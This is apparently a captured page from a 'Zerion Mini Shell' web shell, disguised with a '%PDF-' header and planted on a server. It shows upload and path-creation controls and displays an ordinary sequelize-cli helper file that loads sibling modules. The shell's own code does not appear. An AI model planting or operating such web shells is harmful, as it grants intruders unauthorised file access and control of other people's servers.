%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/3/cwd/usr/local/lib/node_modules/sequelize-cli/src/helpers/
Upload File :
Create Path :
Current File : //proc/3/cwd/usr/local/lib/node_modules/sequelize-cli/src/helpers/index.js

import path from 'path';
import fs from 'fs';

module.exports = {};

fs
  .readdirSync(__dirname)
  .filter(file => file.indexOf('.') !== 0 && file.indexOf('index.js') === -1)
  .forEach(file => {
    module.exports[file.replace('-helper.js', '')] = require(path.resolve(__dirname, file));
  });

module.exports.default = module.exports;

Zerion Mini Shell 1.0